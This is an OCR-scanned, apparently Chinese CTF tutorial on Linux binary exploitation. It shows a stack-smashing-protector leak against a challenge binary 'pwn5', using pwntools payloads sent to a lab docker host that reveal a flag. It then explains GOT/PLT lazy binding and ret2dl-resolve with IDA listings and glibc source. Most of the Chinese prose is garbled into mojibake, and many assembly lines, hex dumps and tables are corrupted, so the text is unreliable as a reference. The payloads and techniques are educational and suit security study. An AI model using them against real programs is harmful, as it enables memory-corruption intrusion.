“ [libc_2.24.50:F7ECCFSB § [ Function offsets Line prefizes (non-graph
1libc_2.24 . s0:F7ECCFBB i
libc_2.2h_so:F7ECCFER Include segnent addresses [ stack pointer
1ibc_2.24.50:F7ECCFBB
PP ™ ~
* Mibc 2.24.50:F7ECCFSD 4 Use segmnent names [ conments
® Nibc_2.24.50:F7ECCFBE § B . . Repeatable comments
*® Nibc_2.24.50:F7ECCFSF § Display disassenbly lines
® Nlibc_2.24.50:F7ECCF90 8 Eapty lines l:l Aute conments
R e L L [ Bad instruction ¢BAD> marks
1ibc_2.24.s0:F7ECCF92 ¢ Borders between data/code (nen—graph)
® Nibc_2.24.50:F7ECCF93 & i i [ Number of opcode bytes (non—graph) |8 ]
* Nibc_2.24.50:F7ECCF9% [ Basic block boundaries (nom—graph)
® Nibc_2.24.so:F7ECCFO5 s . - .
= ] -
* Nibe_2.24.50:F7ECCF96 Seurce line mmbers Instruction indentation (non-graph) D
® ibc_2.24.s0:F7ECCF97 3 q —
* Nive 2.24.c0-F7EccFog § Line prefix exanple: seg000:0FE4 Comments indentation (non-graph)
® ibc_2.24.s50:F7ECCF99 4§ Lov suspiciousness limit [0xB048000 |Ri€h'- margin (nor-graph)
® Nibc_2.24.50:F7ECCF9A § .
High suspiciousness linit 0xFFFA4000 Spaces for tabulation 4
UNENOWN FTECCF80: ___
Hex View-1
D50u5FA 0 0O 00 00 85 CO [ ok || Cancal Help
Wﬂwﬂﬂﬂ 24 18 9F 04 88 FF

SRIEFKE T — TNopcode T FIHE L B KL, E?J’BB;EMOV r16/32/64 r/m16/32/64, EZANFT383, FTHRXIFE
1%




Q&AM

| EFRATHIEETEH

32/64-bit ModR/M Byte
rEX.R=1
£8(/z) without REX prefix AL |CL DL |BL [AH |CH [DH |BE
r8(/r) with any REX prefix at. |cn |on |8z |sPL [sPn [s1n |pIn |RES [ReS |R105 |R11E |R125 (R13B [R14E [R15B
zlé(/zx) (Ax |cx [ox [BX |SF |8 [SI DI |REW [R8W |R1O0W |R1IW |[R12W (R13W [R14W [R1S5W
r32(/x) Eax [Ecx |EDx |EBX [ESe |eBP |ESI |EDI |RED |RSD [R10D [R11D |R12D |R13D |R14D [R15D
64 (/x) FAX [RCX |RDX [RBX [RSP |REF |RSI |RDI [R8 |R® [R10 [R11 |R12 |R13 |Rl4 [R1S
mm(/z) hod0 [3pel oaz poe3 poed poaS [ode poe7 pev0 Podl o2 pod3  pedd S s a7
xmm (/) 1|02 oo MM 10{3Xh041 1 [X041 2 30041 3[2000041 4 [300M1 5
sreg ES [C8 |83 |D8 |FS |G ([res.|res.|[ES |CS S5 DS 3 GS zes. |zes.
eee CRO [invd|CR2 |CR3 |CR4 |invdlinvd|invdlCRB |invdlinwd |invd |[invd |invd |invd |invd
ese DRO |DRL [DR2 |DR3 |prel|omsd|oRé |DR7 |inwd|invdlinwd |invd |inwd [invd |invd |invd
{In decimal) fdigit (Opcode) 0 1 2 El 4 5 & 7 0 L 12 3 4 L] & 7
(In binary) REG = 000 (001 |o10 foi1 |100 Ji01 110 |111 |000 |00l |olo foi1l |io0 (101 110 (111
Effective Address Effective Address REX.B=1 Modle/Mvalue of ModR/M Byte (in Hex) [value of ModR/M Byte (in Hex)
[RRX/ERX] [RB/RED] 00 |o00] 00 (08 | 10 | 18 | 20 | 28 | 30 | 38 |00 | 08 10 18 20 28 30 3g
[RCX/ECXK) [RS/RSD] 001l 01 (o9 | 11|19 (21|29 |31 |32 01 |o9| 12 | 29 |" 22 | 29 | 32 39
[RDX/EDX) [R10/R10D] 010 02 | OA | 12 | 1A (22 | 2a | 32 | 3a | 02 | OA 12 1a 22 2R 3z A
[REX/EEX] [R11/R11D] 011} 03 (0B | 13 | 1B (23 | 2B | 33 | 3B |03 | 0B | 13 | 2B |5 235|28 |33 3B
[&ik] Laik] 100} 04 | OC | 14| 1c (24| 2¢c | 34 | 3C | 04 | OC 14 ic 24 2c 34 3c
IP]+disp32 [RIP/EIP]+disp32 101} 05 | oD | 15 | ip [ 25 | 2D | 35 | 3D [FO5 |FODS 15 | NAD | S25 |20 |35 3D
] [R14/R14D] 110) 06 | 0OE | 16 | 1E (26 | 2E | 36 | 3E | 06 | OE 16 1B 28 2E 38 3E
[R15/R15D] 113 07 | OrF | 17 | 1r | 27 | 2F | 37 | 3F [FOENNOT 17 ir 27 2r 37 3r
]+displ [RE/RED] +dispB 01fooo| ¢0 | 48 | 50 [ s8 | eo| &8 |70 7s 40| ae| S0 | se | e0 | &8 [ 70 78
1+dispd [RO/ROD] +dispB 001 41 [ 49 | 51 | 52 | €1 | €2 | 71 | 79 |NEINNESESE 1] 61 &9 T 79
]+disp8 [R10/R10D] +disps 010| 42 | 4 | 52 | Sa |62 | 6n| 72| 7a| 22| 4| 52 | 5 | &2 | & | 72 TR
[REX/EBX]+diap8 [R11/R11D]+disp8 011] 43 [ 48 | 53 | 5B | €3 | 6B | 73 | 7B |'43 | 4B |53 5B 63 €8 73 7B
[£ib] +dispd [£ik] +81ap8 100 44 | 4ac | 54 | sc | 62| 6c | 72| 7c | 22 | 2c | s2 -1 654 &C T4 Tc
[RBE/EBP] +disp8 [R13/R13D] +diap8 101) ¢5 | 4p [ S5 | sp (&5 | ep | 75| 70|45 | 4D | 55 | 5D | &5 | &0 | 75 7D
[RSI/ESI]+disps [R14/R14D] +disp8 110| 46 | 4E | 56 | SE | €6 | 6E | 76 | TE [NEENNGENNSE SE EE 6E 76 TE
[RDI/EDI]+dispd [R15/R15D] +di=p8 111} 47 | 4F | 57 | SFP [ 67 | 6P | 77 | 7F |[4% | 4F a7 S5E &7 &F 77 TF
[RAX/EAX] +diap32 [R8/RED] +disp32 101000 80 | B8 | S0 | %8 | RO | A8 | BO | BE | 80 | B2 20 og Et] AB BO BE
[RCX/ECK] +disp32 [R9/R9D] +disp32 001 81 | B9 | 81 | 99 ( A1 | A9 | B1 | B9 | 81 | B8 81 EE] Rl A Bl B9
[RDX/EDX] +disp32 [R10/R10D] +disp32 010| 82 ( BA | 92 | %A (A2 |An | B2 (BA |82 | BA| 82 | %A | A2 | AR | B2 | BR
[RBX/EBX] +d1sp32 [R11/R11D] +disp32 011} 83 (es |93 | 98 (a3 | a8 | B3 (B8 |&3|88| @3 | o8B | a3 | a8 | B3 | 38
[£ib]+disp32 [£ib]+disp32 100 84 [ Bc | 94 | 9c (A4 | Ac | B4 | BC | B4 | BC | 94 sc | n4 AC B4 BC
[RER/EEP) +d12p32 [R13/R13D] +disp32 101 g5 |6p |95 | ep (S |ap | BS [BD| 85| 6D | 85 | o0 | a5 | ap | BS | =D
[RSI/ESI]+dispd2 [R14/R14D]+diap32 110| 86 | 62 | 96 | 9E | A€ | AE | BE | BE [FBE | BE | 86 SE RE AE BE BE
[RDI/EDI]+dispd2 [R‘I.SIRI5D]*¢££32 1111 87 | 6F | 97 | 5F | A7 | AF | B7 | BF [NETNNEESOT aF AT AP B1 BE
RL/AX/ERX/RAX/ST0/MM0/ XMMO|REB/REW/RED/RE/STO /MO / XMME 11|o00] cO | c&8 | DO | D8 | EO | E8 | FO | F& RO |CE S DO DE E0 EB Fo ré
CL/CX/ECX/RCX/STL1/MM1/XMM1|RGE/RIN/RID/RI/STL /MM /XM 001 c1 |ce | DL | D9 (E1|E9 | F1L | Fo |fC1 | co | D1 Dg El E9 Fl Fg
DL/DX/EDX/RDX/ST2/MM2/XMM2IR10B/R1OW/RIOD/R10/ST2 /MMZ / XMM1 0| 010 €2 ( CA | D2 | DA | EZ2 | EA | F2 | FA | €2 | CA Dz DA E2 ER -7 FR
BL/BX/EBX/RBX/ST3/MM3/XMM3[RIIB/RIIN/RIID/R11/ST3 /M3 /00411 011} c3 | cB | D3 | DB ( E3 | EB | F3 | FB |NC3 | CB o3 DB E3 EB F3 FB
AH/SP/ESE/RSE/ST4/ M4/ Xp4|R1IZB/RIZH/RIZD/R1Z/5T4 /M4 / XMM1 2 100 C4 |cc | D4 | DC (E4 | EC | P4 | FC | C4 | EC D4 oc E4 EC L | PC
CH/BP/EBP/RBP/ST5/ M5/ XMMS|RIIB/R1IW/RLAD/R13/STS /M5 /XMM13 0l c5|(co | D5 | oD ( ES | ED | PS5 | FD NG5S | CD bl ] oD ES ED F3 FD
DH/SI/ESI/RSI/STE/MME/ XMMERIAE/RIIN/R1AD/R14/STE/MME/ X014 110| C6 | CE | D6 | DE | E6 | EE | F6 | FE | €6 | CE | D6 DE | E6 | EE | F§ FE
BH/DI/EDI/RDI/STT/MM7/XMMTIRISE/RLSW/RLSD/RIS/STT /M7 /XMNM1S 111 ¢7 |cr | D7 | or | E7 | EF | F7 | PP [REERINEE o7 or E7 EF F1 rr

BT HRATIEFRI20GL, BAITRAIZEmov eax, ebx+disp32fIFER . IEBTFH{1Hebx=F7F89000/N Lopcode

EEE CEEXiRE) 0x000035F0, L5RFEEF7F8C5F0. LA, (off F7F8C5F0-0F7F89000h) [ebx] k2B

ebxHU{E, SRS _LEIRFS (OXF7F8C5F0— 0xF7F89000) OXF7F89000iF ZebxHI{E, FIUBERMEXITRIZSIE

Hb3FF7F8C5F048 eax . ?%TEEE’J{JCEE';WIJ;EER.‘:I:'.ﬂﬂiJJ:F7F8C5FOE’J1EQ eax, &IX/MERZNEEeaxFg<unknown>
FA15kEFE—TF7F8C5F0

F7F6C560 00 00 86 80 Orrg7u0n 08048790 __1ibc_csu fi

F7F8C5C0 00 00 80 00 Brrg7un0n F7FAS938 1d_2.24.s0:_d

F7F8C5D0 00 80 B0 80 Brrg7uag98 FF87HAYC [stack]:FF874

F7FBCSEQ 08 80 88 00 Brrg7unoc F7FBD918 1d_2.24.s50:_r

F7FBCSFO  EEUMCIMAY O-rs74nn8 6086886081

F7FB8C600 00 60 80 00 Brrg7unnn  FF875998 [stack]:aPwnS

F7F8C610 ©8 00 80 80 Brrg7unns 0OGHOG80

F7F8C620 00 80 00 80 B-rg7uanc FF87599D [stack]:FF875

F7F8C630 80 60 B0 00 Brrg7uape FF875F59 [stack]:FF875

F7F8C640 00 60 00 80 B-rg7uapy  FF875F6F [stack]:FF875

F7F8C650 ©0 80 86 080 Orrg74aB8 FF87SF78 Fstackl:FF875
AMME%@MEEWWMM hﬁ&*% MIE, ™ Auﬁﬁﬁéh % Fpwn5

FFE75978 96 00 60 09 60 8 60 00 © 60 80 06 00 60 09 LT O B L W e CLU R Sy

- = FF874A94% F7FAB930 1d 2.24.s50:_dl_

EFa7e008 ounS LS coLors—y FF874A98 FF874A9C [stack]:FF874A9
. . 9 9 20 30 b ; N T T EEEEE T ; N 1-in;au:1n- FF874A9C F?FBD?18 1d_2.24.s0:_r_d

FFE75988 308 31 3B 33 36 3A 6D 68 3D 30 30 3a 70 69 30 34 01;36:nh-00:pi-y '[H/4AN0ANA0

FF759C8 30 3B 33 33 30 73 6F 30 30 31 3B 33 35 30 64 6F 0;33:50=01;35:do | ' 0/ "AA stack] :aPun5

FF875908 3D 30 31 3B 33 35 38 62 64 3D 34 30 38 33 33 38 =01;35:bd=40;33; FF874ARETTOT000

FFR7haar FFR7500N Fstarkl-FFR7L00

BN LB AR L E
FF87L98C 00000032
FF874998 34333231
FF874994 F7F89000

BEFRNAATUE LR M T, F AR UKL —TIERASSP leakie TIEM.
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io = process('./pwn5')

Starting local process './pwn5'

Starting local process './pwn5': pid 108
#io = remote('172.17.0.2', 10001)

>> io.recvuntil('something\n"')

'input something\n'

payload = p32(0x804a080)+*70

io.sendline(payload)

print io.recv()

Process './pwn5' stopped with exit code -6 (SIGABRT) (pid 108)

* stack smashing detected ***: flag{YPu 907 1T!'}

terminated 2 TiX—£, HEERMNE
LHEIWERESSP leakMPUA T — I ERT, AMitERargv[0]. BERMN, XEMRKIBHEIR. &
MHEMNTREHE T, BINBERE-—TRXMEESELRE, H5IRE—MESRIBEBHEMITTE.
A1 Bsocat P BIBiEEK, KIMARLI, o recv O IERTMHH, HWH REttEsocat FREMIBRSRIKE
7N

io = remote('172.17.0.2"',

Opening connection to 172. 2 on port 10001

Opening connection to 172. 2 on port 10001: Trying 172.17.0.2
Opening connection to 172. 2 on port 10001: Done

>> io.recvuntil('something\n')
'input something\n'
>>> payload = p32(0x804a080)*70
io.sendline(payload)
>>> print io.recv()
Traceback (most recent call last):
File "<stdin=", line 1, in <module>
File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py"”, line 78, in recv

return self. recv(numb, timeout) or "'

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py”, line 156, in recv
if not self.buffer and not self. fillbuffer(timeout):

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py”, line 126, in fillbuffer
data = self.recv_raw(self.buffer.get fill size())

File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/sock.py”, line 54, in recv raw
raise EOFError

EOFError

root@0d5dc6d7cl6a:~# socat tcp-listen:10001, fork EXEC:./pwn5,pty, raw,echo=0
*** stack smashing detected ***: flag{You 907 1T!}

terminated

IMRRBE—LLinuxERFNIRFRIZELL, REIZFELinuxiy “—IIE X’ B, LinuxBIk=/N3CH#
RFFO, 1, 29 R DECLE T stdin, stdout, stderr. AIERIFIEME, mEMstderr, MBZEY, Z$ER
SEME S . PBARTREE** stack smashing detected ***ififiH B T stderr, PFillsocatfieiE
& B0 EEIRATEIEIE ? FAVR—T S stderr
root@@d5dc6d7clba:~# socat tcp-listen:10001, fork EXEC:./pwn5,pty, raw,echo=0,stderr
*** stack smashing detected ***: flag{YOu 907 1T!}

terminated

BENT. B, BRINEEHREIZIE_ |ibc_message (2, "¥¥x %s dkk: %s terminated\n", msg, _ libc_
argv[0] ?: "<unknown>") ;iX{T{CHL,

FAEE__|ibc_message () IXNEHAISLIN

void

__libc_message (int do_abort, const char *fmt, ...)

{

va_list ap;



QEME

va_list ap_copy;
int fd = -1;

....................... /AT ERIBERIBOTXNRE, TE

/* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on 2 =  secure_getenv ("LIBC_FATAL_STDERR ") :
if (on_2 == NULL || *on_2 == "\0")
fd = open_not_cancel 2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY) ;

if (fd = -1)
fd = STDERR_FILENO;

ARG THRMES KRR —AU " LIBC_FATAL_STDERR_” HIMEEE, MRREBERFIINEHE
A \x00" , MEFEHMEATAIZEARTTY, [A A EMSTDERR_FILENO, BIEEiRHMitiZ|stderr. FTIAEE
MEBEMFHEFRE EAshe | RBIMZEE

root@ed5dc6d7clba:~# export LIBC

root@@d5dc6d7cl6a:~# echo
LRI AN T S 8istder r IS SIERBE, MR,

from pwn import *

io = remote('172.17.0.2', 10601)
[x] Opening connection to 172.17.0.2 on port 10001
[«] Opening connection to 172.17.0.2 on port 10001: Trying 172.17.0.2
[+] Opening connection to 172.17.0.2 on port 10001: Done
>>>

>>> io.recvuntil('something\n')

"input something\n’

>>> payload = p32(0x804a080)*70

>>> io.sendline(payload)

>>> print io.recv()

*** stack smashing detected ***: flag{YOu 907 1T'}
rmin d

EFXMFAGE, MR SIEPiTA—13203 CTFHreadme. XEE B ASEHNEHERNEEIR BNIE

T8, MERETENIMETEREERMANFEFENRMESag. (tips: IBEIMETENIEEHMEIRD

argv [0] FY$EEHE T A tbit)

0x04 HitbGeid R

UEABREZNAT LM AE LSS canaryfI 57k, FEE, canaryX—RIFHLHIEBR ZHIITE.
MR LB SR T ST E, NMiEEIEREPHMITRIZEZEE IS (0CTF 201580 laggenerator)
, B 27 FlcanaryfFERIARIE——AUXV (Auxi liary Vector), HIEMIZLZERMTIFEcanary(E AT
(TCTF 2017 FinalBjupxof), EFF. EREG/RE, FIRELHH.

NS AHE R HE IR T3

Sltis@Bmn


https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=44069&ctid=157

QEMIE

| EFRATHIEETEH

Linux pwn AT I3KiE(1 0)—¥Hd &R fuifiikend J LI b

f§£4: Tangerine@SAINTSEC

| 0x00 got&. pltESEREE

EZRINETS, RITBOIRETeotRMp It/XBENEM. XENMREMTLTE? ATLABARKES
FIXFENFK? ret2dl-resolve SIXLRBENBHAXER? AHHRNFBEIT AR “Fi” KEIZIX L
=i

FAVEIRIFFZEF"/XMAN 2016-level3/leve | 3HEITSELS . X NIEFEmaintBH H Fvulnerable_functiond &R
PR TwriteBH, BRMNOANEHENcall _writefl— call read L THiS, ERMEBLETHA.

Eﬁﬁ\: Eﬁ)ﬁ?‘%{f%jﬂ‘:ﬁ—ﬁ\call _wr_i.te%

" .text:0804844B push ebp
" | text: 08648440 mov ebp, esp
" |.text:08B48L4E sub esp, 88h
" l.text: 08048454 sub esp, 4
" |.text: 08048457 push 7 i n
© .text:08048459 push  offset alnput “Input:\n"
: .text:@804845E push 1 ; Fd
" l.text:08048465 add esp, 18h
" |.text:08B48468 sub esp, 4
" .text:0804846B push 186h ; nbytes
" .text:B8048470 lea eax, [ebp+buf]
" |.text:088048476 push eax 5 buf
" |.text:08048477 push (] ; Fd
" |.text:08048479 call _read
00000457 08048457: vulnerable_ function+C (Synchronized with EIP)

LERTERAIRF7ERIF RS, AIMEIPBKRIT. pltkE, MEBHIELIANTATLABRRIX A jmpig[a] T /EEApush
18h; jmp loc_8048300

SPAL - BT TTULTY

-plt:B8p48340
-plt:B8848340 ; ssize_t write(int fd, const void =buf, size t n)
.plt:088048348 write proc near ; CODE XREF: vulnerable_function+15p

.plt:08048340 3 main+22||1

.plt:086483408 write endp
.plt:88648340
.plt: 08648346 ;
" |.plt:88848346 push 18h

— [-plt:0804834B jmp loc_8048300
.plt:088048348 plt ends
-plt:0804834B

.text:08048350

FATHEF7IHITE jmp 10oc_80483004% E Bhi%, KIXiANZ—MpushFi—jmp, XEZRABHMIE. plt L.

-plt:08048308 assume cs:_plt
.plt:088648308 ;org 8048306L
.plt:08648308 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.plt:08048300
b .plt:08048300 loc_8648300: ; CODE XREF: .plt:0804834B|]j
L [.plt:08048306 jmp ds:off_864n068
P AR B - e e e e e e e e e e e e
® |.plt:esess83ec db i}
® |.plt:oe8048308D db ]
® |.plt:0804830E db ]
® |.plt:0804830F db o




QEM|E i BTARTIETER

FERY, BRATEERITEmoNITE, KIMIEFBEEEIT 1d_2. 24. so £, X MbhE2 loc_F7F5D010

B - o
1d_2.24 _so:F7F5D010

1d_2.24.50:F7F5D610 loc F7F5DO10: ; CODE XREF: .plt:0884830671]
1d_2.24.50:F7F5D6818 ; DATA XREF: .got.plt:off 86400870

ol

»

| 1d_2.24.50:F7F5D011 push ecx

" 1d_2.24.50:F7F5D012 push edx

" 1d_2.24%.50:F7F5D813 mov edx, [esp+18h]
" 1d_2.24.50:F7F5D017 mov eax, [esp+6Ch]
| 1d_2.24.s50:F7F5D01B call near ptr unk_F7F568C8
" 1d_2.24.50:F7F5D020 pop edx

" 1d_2.24.50:F7F5D021 mow ecx, [esp]

" 1d_2.24%.50:F7F5D024 mou [esp], eax

" 1d_2.24.s0:F7F5D027 mov eax, [esp+i]

»

1d_2.24.50:F7F5D02B retn OCh

BXE, BEATRECELIT XIS, NINIETESERRRRZ jmp ds:off_804a008, iXAMF7F5D0102MHIEE
HSREIIR ? ESDIXIT impHIE B H T 2 BkiE B #b1k0x0804a00830 1 TS, T2 BkiEZH1E0x0804a008 1R 15
RdbiEAL . FI3E, —FFiAAYjmp ds:off_804a018th A~ 2 HkiEZ M3t 0x0804a018. 0K, FK{1SKE— T XA i
WHERET 4.

SYUL.PLL . YO USHUUY dDDUMRT L. YUl piL

.got.plt:0804A000 ;org 804A0OGH

-got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset unk_8B49F14

-got.plt:0804n004 off_804A004 dd offset unk_F7F6C918 ; DATA XREF: _plt:loc_864836807r
.got.plt:9804A0088 off_8604ABB8 dd offset loc_F7F5D818 ; DATA XREF: _plt:688684830861r
.got.plt:B804A00OC off_864AOOC dd offset word_ 8048316 ; DATA XREF: _readir
.got.plt:0804A010 off_804A010 dd offset word_ 8048326 ; DATA XREF: __ gmon_start_ ir
-got.plt:8804AB14 off_804AB1A dd offset _ libc start_main ; DATA XREF: __ libc_start_mainir
.got.plt:B804A018 off_BO4AB1S dd offset loc_ 8048346 ; DATA XREF: _writeir
-got.plt:8804A018 _got_plt ends

.got.plt:0804A018

[E&cal | write F7ERIFEAVALKE, IRFFHE—LKIESE imp ds:off_804a018, X/ MBE{IF. got. plt
t, HRNBIHFEGEHASE loc_8048346, SHEIFIRE—DATA XREF: writetr. HEAXE—/IRwrite
SREAE RIS S| A M blE, FEME— N EIHERreadtl AR TIX— &, M jmp ds:0ff_804a008 2Rk
Z 7 0x0804a0084% 7 A1k 1 oc_F7F5D0104

IEl%gIﬂ;IJZIX]JJggii?ggnj*aﬂl‘]él‘_ﬂiFSiﬁITi, M1TEIretn 0Ch, ZREEAETHITRAEI Twrite R A EIEHIIE

1d_2.24.s0:F7F5D010 loc_F7F5DO10:
1d_2.24.so0:F7F5D0180
P¢ 1d_2.24.50:F7F5D818 push eax
“ 1d_2.24.50:F7F5D811 push ecx
© |1d_2.24.50:F7F5D812 push edx
“ 1d_2.24.50:F7F5D013 mov edx, [esp+16h]
© 1d_2.24.50:F7F5D817 mov eax, [esp+BCh]
“ 1d_2.24.s50:F7F5DO1B call near ptr unk_F7F568C0
© 1d_2.24.50:F7F5D828 pop edx
¢ [1d_2.24.50:F7F5D821 mou ecx, [esp]
© 1d_2.24.50:F7F5D024 mov [esp], eax
s 1d_2.24.50:F7F5D027 mov eax, [esp+4]

1d_2.24.50:F7F5D02B ; ---—---—-—---—-——-—— -

UNENOWN F7F5D013: 1d_2.24.so:_dl_find dso_for_obj

Hav Viaw—1 LUA VlEW L1l - Ul

1libc_2.24.50:F7E5A430 _ write:

libc_2.2%.s0:F7E5A438 jnz short loc_F7ESA460
libc_2.24.s0:F7ESA4%3A push ebx
1libc_2.24.50:F7ESA43B mou edx, [esp+10h]
libc_2.24.50:F7ESA43F mov ecx, [esp+0Ch]
1ibc_2.24%.50:F7E5A443 mov ebx, [esp+8]
1ibc_2.2%.50:F7ES5A447 mov eax, 4
libc_2.24%.s0:F7ESA44C call large dword ptr gs:16h
1ibc_2.24.s0:F7ESA453 pop ebx
libc_2.24.50:F7ESA454 cmp eax, OFFFFFBO1h
1libc_2.24.s50:F7E5A459 jnb loc_F7D9A360
1libc_2.24.50:F7ES5A45F retn

il e i T e e e e e e e e e
1libc_2.24.50:F7ESA460




| EFRATHIEETEH

Q&AM

MAERMTT AL Hcal | writeBIHITRIZEMTE:

it
5

gotplt
WiE

SRIGERAIFIBIMTfEcal | _read, KIIEHRELI LEETRE, M—HIXZIZETaddr1Fpush nunh I FER
—#£, call _readRfpushB9#=F =20

-plt:B680483180
.plt:08048318 ; ssize t read(int fd, void =buf, size_t nbytes)
.plt:08048310 _read proc near ; CODE XREF: vulnerable_function+2Ep

-plt:-B8048310 jmp ds:off_804n00C
.plt:08048310 _read endp
-plt:B8048310
.plt: 88048316 ;
.plt:08048316
-plt:08048316 loc_8048316:

.plt:88064831B jmp loc_8648308

BETRBIVLIEFHITEE = MNcal | _write, F7TIRIEELZI jmp ds:0ff_804a01855 i BTk R EIE A RN E
HJpush 18h,

.plt: 08048340

.plt:-080483408 ; ssize_t write(int fd, const void =buf, size_t n)

-plt:08048340 write proc near CODE XREF: vulnerable_function+151p
.plt:08048340 main+22)p

=
.plt:08048348 write endp

.plt:B804u8340

.plt: 68048346 ; - - -— -— - -— - -— -— -
-plt: 08048346

.plt:08048346 loc_804B3UG:

.plt:B88048346 push 18h

.plt:08048348 jmp loc_8648300

.plt:088048348 plt ends

.plt:BB804834B

.text:G8048358 ; == === == === == == === == == ==

HANEE got.plt, KMEANBTELERETR Twrite RKERFHAESI ML,
.got.plt:B864A000 assume cs:_got_plt
.got.plt:8804A000 ;org SA4AGOOL

-got.plt:0804A018
-got.plt:88084a018

_got_plt ends

“ |.got.plt:08804A000 _GLOBAL_OFFSET_TABLE_ dd offset unk_8B49F14

“ l.got.plt:0804a004 off_8604A0B4 dd offset unk_F7F6C918 ; DATA XREF: .plt:loc_86483087r

“ |.got.plt:08040008 off_804ADOBS dd offset loc_F7F5DO10 ; DATA XREF: .plt:08048306Tr

© l.got.plt:68804ABOC off_864ABBC dd offset _ read ; DATA XREF: _readir

“ |.got.plt:08640010 off 8O4AD10 dd offset loc 8048326 ; DATA XREF: __ gmon_start_ Tr

® |.got_plt:088640014 of f_80uAG14 dd offset _ libc_start_main ; DATA XREF: _ libc start_mainir
“ l.got.plt:8804A018 off_864A018 dd offset _ write ; DATA XREF: _writelir




DEME

HIEHRMNTUEE—NEE, REEINEREE—AWIARNAS2Rh—R5EBiNTE, 2RNEARSE
EPAE B AT N A, ARATER A AERX ARITR?

EMEZEXMAE, HAERNEBMEITHERERE. ATROEESRE, IRBEREI ST
R RAREFHIFNAFHERTIININ E R ImFRE, MEASTHBRE S EXMNRHNEMREIAE
B, ATHEZEER, EARKENAELIR, ERAEFAASEERTZIRMEECHENERSE
WA ol Eo BEAnESTTF | ibe. sokii, FAMIERILEME 2 HuE0x10004k, AFEFRSIA T libe. so, NI
B ERIBXANERF MDD, (BEXNFTFHT liba, so, libb.so, |ibc. sor== liby. so, |ibz. soRIBFEFE
Wi, Ox1000iX ML ATBEFLH | iba. soFFE LR T - Fitk, BFAEEITARR TINBHS, MEEELEKIE
NMEEMNAEIL, XMIEHEHRAREN. ATRE, MRBERSENSTERKERENAELRAZR
A&, ABAiEcal | read—RANIES AR INATERIZFMN R EIEIE Bread R FRfEMBYE, SURIMNETER
ITRHME B R read BN BRZEHELE, B AMRIECPUTEEI TR ITIE S RTREEFABk B read REIE ? XM EEgot R
(Global Offset Table, &FMI%3) FpltF (Procedure Linkage Table, iTFE§EIER) HITHET .
EWFEMNRIR ST RRE, FEEERMEBNERLT, SMNMNIREE ot RSB | tRPIT R INAY
otk LHeal IH5SHITRT, EIPEIEBEEZIp | tRA—Dimp, XN jmpEIEIEEIXT N AgotFRitblil, MiX/Mith
HEERME . EEHX AN imp S BREMRFIFRY, pltRBPIT TR, EXBERENEHEEMLEFE—HNTRE
=, B—AFEANE (K FFwrite18h, read20, SFENEZFRIE, XMFEAER) , A/Spush
got (11 BkEE g0t [21RTFHIMBYE . 783X btk 3t iR BT T EENAL, FHEIEKeot R AEIEHIE Hith
. BERBRAR—MNEBBEHME, cal I{AAEEIPHESp It RAE—Njmp, FEIRIEX[E Mot FTEVE
WA E2EERNE, NMmiEeESHITEEN.

0x01 FFSBTNERPLZETHA?

KB EERRIEEEeotR, P tEMEEMIRIET, BRMEA—BWEERR, RTHRXLELRRA
HA M, ret2dl-resolvefIi D RBRBGEHSEEMNAIE, FEBTESEAENTEREMHE, WTSE
WMeotFMIENFF. ATTERX—BIR, FNMLTERATSHRMNAT, SHENFMRAERNBERSE
B, HNITLUERttps://ftp. gnu. org/gnu/gl ibc/ TEBlgl ibciBRE, XEFHFH Telibc-2. 27 R AHIRR
HAEBIFZFBREEZ]1d_2. 24. sofIER 5y, X—EMIRRS 2 FC4RCINAY, IRRBEE1EMe] ibc/sysdeps/i386/
di-trampoline. S (640838620 Hx86_64) , HFEREINT:
. text
.globl _dl_runtime_resolve
.type _dl _runtime_resolve, @function
cfi_startproc
.align 16
_dl_runtime_resolve:
cfi_adjust_cfa offset (8)
push| %eax # Preserve registers otherwise clobbered.
cfi_adjust_cfa offset (4)
pushl %ecx
cfi_adjust_cfa offset (4)
pushl %edx
cfi_adjust_cfa offset (4)

mov| 16 (%esp), %edx # Copy args pushed by PLT in register. Note
mov| 12 (%esp), %eax # that ‘fixup' takes its parameters in regs.
call _dl_fixup # Call resolver.

popl| %edx # Get register content back

cfi_adjust_cfa_offset (-4)
mov| (%esp), %ecx

mov| %eax, (%esp) # Store the function address
mov| 4 (%esp), %eax

ret $12 # Jump to function address
cfi_endproc

.size _dl _runtime_resolve, .— dl_runtime_resolve

HRA TeNURASEIER, FHEMEERE, BRI N2 IDATHRICHERPIEEFSNAT



OB

AU £ .E£™DIW.FIFrIFumIw
ld_2. !ll 503 F?FS&I‘II loc_F7FS56018:
: / .l'l. eax
1d_ 2.24.50: F?F56l11 push ecx
ld 2.24.50:F7F56012 push edx
m_z.n.sn:nrsana noy edx, [esp+1bh]

1d_2.24 s0:F7F56017 mov eax, [esp+BCh]
1d_2.24.50:F7F5601B call _dl_fixup
1d_2.24.50:F7F568208 pop edx
1d_2.2%.50:F7F560821 mov ecx, [esp]
1d_2.24.50:F7F56024 mov [esp], eax
1d_2.24.50:F7F56027 mov eax, [esp+h]

1d_2.24.50:F7F56028 retn BCh

1.‘ D Ak sasCICCLS0

Mfmwm%ﬂu$ymddHMrmhmc BATESREBE—T RS HTIE
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_F IXUP_ARGS
ELF_MACHINE_RUNT IME_F I XUP_ARGS,
# endif
struct link_map * unbounded I, EIfW(Word) reloc_arg)
REEIEREN IS, HAATLABE _dI_fixuplEWENSE, |ink_mapZEBY 35S I XFRL T pushidf EHgot [1]
, reloc_argXfR TpushifEXBIHTF. BT |ink_map *EE—HEH, FEINEBENRETFreloc_argiisr.
HAGEIEERreloc_argi X NEHAYRE.
WRRERFIETIRL, REXMXNRBELEKE A Ereloc_arg, ARXNESHERAFRETE? FEH,
HEiMiELEE, 2B EEX
#ifndef reloc_offset
# define reloc_offset reloc_arg
# define reloc_index reloc arg / sizeof (PLTREL)
#endif
reloc_offsetfE A LERTE=RTHINT .
const EIfW(Sym) *const symtab
= (const void *) D PTR (I, |_info[DT_SYMTAB]) ;
const char *strtab = (const void *) D_PTR (I, |_info[DT_STRTAB]) ;

const PLTREL *const reloc
